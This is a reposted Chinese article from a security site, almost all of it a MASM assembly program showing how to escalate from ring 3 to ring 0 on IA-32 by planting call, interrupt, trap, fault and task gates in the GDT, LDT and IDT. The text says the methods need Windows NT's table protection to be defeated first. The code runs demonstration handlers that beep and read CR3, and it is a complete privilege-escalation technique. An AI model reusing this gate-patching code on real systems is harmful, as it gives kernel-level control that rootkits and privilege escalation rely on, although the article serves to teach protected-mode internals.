首页 网络安全 安全学院 查看内容

总结进入RING0的方法

2009-6-19 10:07 598 0

摘要:   关于进入RING0层的方法,大家一定听说过不少,我在复习保护模式编程中将一些进RING0  的方法;总结了一下,包括调用门,任务门,中断门,陷阱门等,这些方法都是直接利用  IA32的方法,所以和...
关键词: ptr esi eax dword mov word push pop ebx int

  关于进入RING0层的方法,大家一定听说过不少,我在复习保护模式编程中将一些进RING0  的方法;总结了一下,包括调用门,任务门,中断门,陷阱门等,这些方法都是直接利用  IA32的方法,所以和操作系统应该没有多大关系,当然由于NT内核对GDT,IDT,的保护所  以我们不能用这些方法,不过如果一旦突破了NT的保护,那么所有的方法就都可以使用了,  其他的还有SEH等方法,我在前面的文章中也有介绍。  -----------------Code---  ;========================================  ;      WOWOCOCK  编写      ;  ;========================================  .586p  .model flat, stdcall  option casemap :none  ; case sensitive  include \masm32\include\windows.inc  include \masm32\include\kernel32.inc  include \masm32\include\user32.inc  includelib \masm32\lib\kernel32.lib  includelib \masm32\lib\user32.lib  ;;--------------  TSS       STRUC  TRLink     dw   0   ;链接字段  dw   0   ;不使用,置为0  TRESP0     dd   0   ;0级堆栈指针  TRSS0      dw   0   ;0级堆栈段寄存器  dw   0   ;不使用,置为0  TRESP1     dd   0   ;1级堆栈指针  TRSS1      dw   0   ;1级堆栈段寄存器  dw   0   ;不使用,置为0  TRESP2     dd   0   ;2级堆栈指针  TRSS2      dw   0   ;2级堆栈段寄存器  dw   0   ;不使用,置为0  TRCR3      dd   0   ;CR3  TREIP      dd   0   ;EIP  TREFlag     dd   0   ;EFLAGS  TREAX      dd   0   ;eax  TRECX      dd   0   ;ecx  TREDX      dd   0   ;edx  TREBX      dd   0   ;ebx  TRESP      dd   0   ;esp  TREBP      dd   0   ;ebp  TRESI      dd   0   ;esi  TREDI      dd   0   ;edi  TRES      dw   0   ;ES  dw   0   ;不使用,置为0  TRCS      dw   0   ;CS  dw   0   ;不使用,置为0  TRSS      dw   0   ;ss  dw   0   ;不使用,置为0  TRDS      dw   0   ;DS  dw   0   ;不使用,置为0  TRFS      dw   0   ;FS  dw   0   ;不使用,置为0  TRGS      dw   0   ;GS  dw   0   ;不使用,置为0  TRLDTR     dw   0   ;LDTR  dw   0   ;不使用,置为0  TRTrip     dw   0   ;调试陷阱标志(只用位0)  TRIOMap     dw   $+2  ;指向I/O许可位图区的段内偏移  TSS       ENDS  .data  sztit   db "Gate Test",0  CTEXTCall db "call gate to Ring0!继续?",0  CTEXTInt  db "int gate to Ring0 By int 5 !继续?",0  CTEXTIntx db "int gate to Ring0 By int X !继续?",0  CTEXTTrap db "Trap gate to Ring0 By int 1!继续?",0  CTEXTFault db "Fault gate to Ring0!继续?",0  CTEXTTask db "Task gate to Ring0!继续?",0  temp1 db "Cr3的内容是:%8X",0  temp2 db 100 dup(?)  Freq db 08h    ;发声频率  gdtR df 0  idtR df 0  ldtR dw 0  trR  dw 0     ;the contents of GDTR,IDTR,LDTR,TR  ldtDes dw 0  dw 0    ;LDT Limit  dd 0    ;LDT Base  Callgt dq 0    ;call gate&#39;s selff  TrDes dw 0  dw 0    ;TR Limit  dd 0    ;TR Base  Tss1Sel dw ?   ;TSS  Call32  dd 0  Tss1Gate dw ?   ;任务门  TSS1 TSS <>  Tss1Limit equ $-TSS1  TSS2 TSS <>  TestCR3 dd 4  MyCall MACRO Selector,Offsetv  db 09ah  dd Offsetv  dw Selector  ENDM  ;;-----------------------------------------  .code  __Start:  sgdt  fword ptr gdtR  sidt  fword ptr idtR  sldt  word ptr ldtR  str   word ptr trR  ;save them for later use  ;-----------------------  ; get the ldt mes  ;-----------------------  movzx esi,ldtR  add  esi,dword ptr [gdtR+2] ;esi->ldt descriptor  mov  ax,word ptr [esi]  mov  word ptr [ldtDes],ax  mov  ax,word ptr [esi+6]  and  ax,0fh  mov  word ptr [ldtDes+2],ax     ;get ldt Limit  mov  eax,[esi+2]  and  eax,0ffffffh  mov  ebx,[esi+4]  and  ebx,0ff000000h  or  eax,ebx  mov  dword ptr [ldtDes+4],eax    ;get ldt Base  ;-----------------------  ; get the tr mes  ;-----------------------  movzx esi,trR  add  esi,dword ptr [gdtR+2]  mov  ax,word ptr [esi]  mov  word ptr [TrDes],ax  mov  ax,word ptr [esi+6]  and  ax,0fh  mov  word ptr [TrDes+2],ax     ;get tr Limit  mov  eax,[esi+2]  and  eax,0ffffffh  mov  ebx,[esi+4]  and  ebx,0ff000000h  or  eax,ebx  mov  dword ptr [TrDes+4],eax;get tr Base  ;-------------------------------------  ; 这里演示在GDT中寻找空白表项来制造调用门  ;-------------------------------------  mov  esi,dword ptr [gdtR+2] ;esi->gdt base  movzx eax,word ptr [gdtR]  ;eax=gdt limit  call  Search_XDT  ;esi==gdt Base  mov  esi,dword ptr [gdtR+2]  push  offset myring0_prc_callgt    ;set callgate in gdt  pop  word ptr [esi+eax+0]  pop  word ptr [esi+eax+6]      ;offset  mov  word ptr [esi+eax+2],28h  mov  word ptr [esi+eax+4],0EC00h  ;sel=28h,dpl=3,and attribute ->386 call gate!  and  dword ptr Callgt,0  or   al,3h  mov  word ptr [Callgt+4],ax  call  fword ptr [Callgt]      ;use callgate to Ring0!  ;--------------------------------------------  ; 这里演示在Ldt中制造调用门  ;--------------------------------------------  invoke  MessageBoxA,0, addr CTEXTCall,addr sztit,MB_YESNO  cmp  eax,IDNO  jz   @xit000           ;继续演示?  mov  esi,dword ptr [ldtDes+4]   ;esi->ldt base  mov  eax,dword ptr [ldtDes]    ;eax=ldt limit  call  Search_XDT          ;eax返回找到的空白选择子  mov  esi,dword ptr [ldtDes+4]  push  offset myring0_prc_callgt  ;set callgate in ldt  pop  word ptr [esi+eax+0]  pop  word ptr [esi+eax+6]    ;offset  mov  word ptr [esi+eax+2],28h  mov  word ptr [esi+eax+4],0EC00h  ;sel=28h,dpl=3,and attribute ->386 call gate!  and  dword ptr Callgt,0  or   al,7h            ;所以选择子一定要指向LDT  mov  word ptr [Callgt+4],ax  call  fword ptr [Callgt]      ;use callgate to Ring0!  ; *通过中断门进入ring0,像在Dos下一样,我们只要替换中断向量表的地址以指向我们  ; *自己的程序就可以了,不过在win下中断向量表变为IDT(中断描述符表),其第0~1保存  ; *中断处理程序偏移的低16位,6~7字节保存偏移的高16位,我们必须使用描述符具有DPL=3  ; *的中断门以便在ring3下转入中断程序,而int 03h,04h,05h,10h,13h,30h等本来就是  ; *DPL=3,我们可以方便地利用之,注意中断处理程序返回用iretd  ;---------------------------  ; 下面利用int 5进入ring0  ;---------------------------  invoke  MessageBoxA,0,addr CTEXTInt,addr sztit,MB_YESNO  cmp  eax,IDNO  jz   @xit000           ;继续演示?  mov  esi,dword ptr [idtR+2]    ;esi->idt base  push  dword ptr [esi+8*5+0]  push  dword ptr [esi+8*5+4]    ;保存INT 5,中断描述符  push  offset myring0_prc_Intgt   ;替换原来INT5的入口地址  pop  word ptr [esi+8*5]  pop  word ptr [esi+8*5+6]  int  5              ;进入ring0!  ;int  3              ;//可选择利用int 3  ;db  0CCh            ;//则保存和恢复就改为8*3  ;为了增强反跟踪效果  ;当然也可以利用int 1,方法一致不过可能在某些处理器上冲突  pop  dword ptr [esi+8*5+4]    ;恢复,int 5,中断描述符  pop  dword ptr [esi+8*5+0]  ; *当然,上面使用的全部是DPL=3的int如1,3,5等,如果我们准备使用任意int 来达到  ; *目的该怎么办?这就需要自己改int descriptor 的属性值,使DPL=3,sel=28h  ; *如下面使用int 255  ; *__________________________________________  invoke  MessageBoxA,0,addr CTEXTIntx,addr sztit,MB_YESNO  cmp  eax,IDNO  jz   @xit000           ;继续演示?  movzx ebx,word ptr [idtR] ;ebx=idt limit  sub ebx,7  push dword ptr [esi+ebx+0] ; save IDT entry  push dword ptr [esi+ebx+4]  push offset myring0_prc_Intgt  pop word ptr [esi+ebx+0]  mov word ptr [esi+ebx+2],28h   ;ring0 Sel  mov word ptr [esi+ebx+4],0EE00h ;P=1,386中断门,DPL=3  pop word ptr [esi+ebx+6]  ;mov eax,ebx  ;shl eax,5  ;add eax,90C300CDh  ;push eax  ;call ss:esp ; 在堆栈中形成指令 int 5Fh ret直接转入执行!  int 5fh  ;pop eax         ; int调用,酷吧!  pop dword ptr [esi+ebx+4]; 恢复  pop dword ptr [esi+ebx+0]  ; *  ; *还有其他的方法进入ring0,如陷阱门,与中断门基本一致,只不过是让硬件自己产生中断  ; *我们则自己置TF=1引发之,注意在中断处理中关闭TF,否则会造成死循环,不断单步,还有故,  ; *障门产生故障之后注意cs:eip已经压入堆栈,如果不改指令的话,就得自己修改eip指向安全  ; *地址故障门的好处在于不必自己置sel为28h,也不必担心DPL=0,操作系统为我们准备好了一  ; *切我们只要替换int处理地址就行了,以下是简单例子  ; *__________________________________________  invoke  MessageBoxA,0,addr CTEXTTrap,addr sztit,MB_YESNO  cmp  eax,IDNO  jz   @xit001           ;继续演示?  ;---------------------------------  ; int1 单步陷阱或者int4 除法溢出陷阱  ; 这里演示int 1,int 4类似  ; 这个和上面的有不同吗,有!就是int 1  ; 是由CPU而不是我们显式用int 1指令引发  ;---------------------------------  push dword ptr [esi+(8*1)+0]   ; 保存原int 1  push dword ptr [esi+(8*1)+4]  push offset myring0_prc_Trapgt  pop word ptr [esi+(8*1)+0]  pop word ptr [esi+(8*1)+6]  pushfd  pop eax  or ah,1  push eax  popfd     ; set TF=1  nop      ; ring0!  pop dword ptr [esi+(8*1)+4]; restore IDT entry  pop dword ptr [esi+(8*1)+0]  ;--------------------------------------------  ; 这里演示故障门,除法错误  ;--------------------------------------------  @xit001:invoke  MessageBoxA,0,addr CTEXTFault,addr sztit,MB_YESNO  cmp  eax,IDNO  jz   @xit000           ;继续演示?  push dword ptr [esi+(8*0)+0] ;  push dword ptr [esi+(8*0)+4]  push offset Ring0Code_div  pop word ptr [esi+(8*0)+0]  pop word ptr [esi+(8*0)+6]  xor eax,eax  div eax            ; 除法错误,进入故障门ring0!  ;-----------------------------------------  invoke  MessageBoxA,0,addr CTEXTTask,addr sztit,MB_YESNO  cmp  eax,IDNO  jz   @xit000  ;-------------------------------------  ; 这里演示在GDT中寻找空白表项来制造TSS  ;-------------------------------------  mov  esi,dword ptr [gdtR+2]  movzx eax,word ptr [gdtR]  call  Search_XDT  and  ax,0fff8h  mov  Tss1Sel,ax   ;save Tss1 selector ,esi==gdt Base  mov  esi,dword ptr [gdtR+2]  mov  ebx,offset TSS1  mov  word ptr [esi+eax+0],Tss1Limit  mov  dword ptr [esi+eax+2],ebx    ;offset  mov  word ptr [esi+eax+5],89h  shr  ebx,24  mov  byte ptr [esi+eax+7],bl ;set mytss  ;--------------------------------------------  ; 这里演示在Ldt中制造任务门  ;--------------------------------------------  mov  esi,dword ptr [ldtDes+4]  mov  eax,dword ptr [ldtDes]  call  Search_XDT          ;eax返回找到的空白选择子  push  eax  or   ax,7h  mov  Tss1Gate,ax  pop  eax  mov  esi,dword ptr [ldtDes+4]  mov  word ptr [esi+eax+0],0  mov  word ptr [esi+eax+6],0    ;offset  push  word ptr Tss1Sel  pop  word ptr [esi+eax+2]  mov  word ptr [esi+eax+4],0E500h ;Tss Gate  mov esi,dword ptr [TrDes+4]  assume esi:ptr TSS  push word ptr ldtR  pop word ptr[esi].TRLDTR ;设置LDT SELECTOR(WINDOWS98的TSS中LDT 为0???)  lea edi,TSS1  assume edi:ptr TSS  push word ptr trR  pop word ptr [edi].TRLink  ;返回TSS选择子,设置联接字  push dword ptr[esi].TRESP0  ;设置SP0  pop dword ptr[edi].TRESP0  push word ptr[esi].TRSS0   ;设置SS0  pop word ptr[edi].TRSS0  push dword ptr[esi].TRCR3  ;设置CR3寄存器,即设置好转换以后所有的段及页转换相关寄存器  pop dword ptr[edi].TRCR3  push offset Ring0  pop dword ptr[edi].TREIP  mov word ptr[edi].TRCS,28h  ;CS=28  mov word ptr[edi].TRSS,30h  ;ss=30  push word ptr ldtR      ;设置LDTR  pop word ptr[edi].TRLDTR  push ds  pop dword ptr[edi].TRDS  mov word ptr[edi+54h+2],0  call fword ptr Call32  mov ebx,dword ptr [TestCR3]  @xit000:  invoke wsprintf,addr temp2,addr temp1,TestCR3  invoke MessageBoxA,0,addr temp2,addr sztit,0  mov eax,dword ptr [ldtDes+4];恢复GDT,LDT中的空选择子。  movzx esi,Tss1Gate  and  esi,0fffffff8h  add eax,esi  mov dword ptr [eax],0  mov dword ptr [eax+4],0  mov eax,dword ptr [gdtR+2]  movzx esi,Tss1Sel  add eax,esi  mov dword ptr [eax],0  mov dword ptr [eax+4],0  invoke  ExitProcess,0  ;-----------------------------------------  Ring0Code_div proc far  pushad  mov  ecx,10     ;EIP  ambalance002:         ;cs  push  ecx      ;EFLAGS  call  Beeps  pop  ecx  loop  ambalance002  popad  add dword ptr [esp],2 ; 修改Eip,略过除错指令(div eax)2个字节长,继续执行  iretd  Ring0Code_div endp  myring0_prc_Trapgt  proc  far  pushad         ;注意压栈结构为  mov  ecx,10      ;esp->EIP  ambalance002:       ;   cs  push  ecx       ;   EFLAGS  call  Beeps  pop  ecx  loop  ambalance002  popad  and  byte ptr [esp+9],0FEh ;一定要置TF=0,终止  iretd         ;注意iretd,不是iret(w)  myring0_prc_Trapgt  endp  myring0_prc_Intgt  proc   far  pushad  mov  ecx,10  ambalance001:  push  ecx  call  Beeps  pop  ecx  loop  ambalance001  popad  iretd  myring0_prc_Intgt  endp  myring0_prc_callgt  proc far  pushad  pushfd  pop eax  or eax,3000h  push eax  popfd  mov  ecx,10  ambalance:  push  ecx  call  Beeps  pop  ecx  loop  ambalance  popad  retf  myring0_prc_callgt  endp  ;-----------------------------------------  Search_XDT proc near   ;entry esi==Base of Ldt or GDT  ;eax==Limit  pushad  mov ebx,eax    ;ebx=limit  mov eax,8     ; skipping null selector  @@1:  cmp dword ptr [esi+eax+0],0  jnz @@2  cmp dword ptr [esi+eax+4],0  jz @@3  @@2:  add eax,8  cmp eax,ebx  jb @@1   ;if we haven&#39;t found any free GDT entry,  ;lets use the last two entries  mov eax,ebx  sub eax,7  @@3:  mov [esp+4*7],eax   ; return off in eax  popad         ; eax=free GDT entry selector  ret  Search_XDT endp  ;-----------------------------------------  Beeps proc near        ;经典的发声子程序,学dos的时候应该  pushad         ;没少用吧...  mov al,0B6h  out 43h,al  mov al,Freq     ;接口要求,不要多问  out 42h,al  out 42h,al  xor byte ptr Freq,0Ch   ; 换频率  ; 以便下次发出不同的音高  in al,61h  or al,3  out 61h,al  mov ecx,1000000h    ;延时  loop $  and al,0FCh       ;关声音  out 61h,al  popad  ret  Beeps endp  Ring0:  mov ebx,cr3  mov TestCR3,ebx  iretd  END  __Start  ;______________________________Over...___________  摘自红色黑客联盟(www.7747.net) 原文:http://www.7747.net/Article/200906/39543.html
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部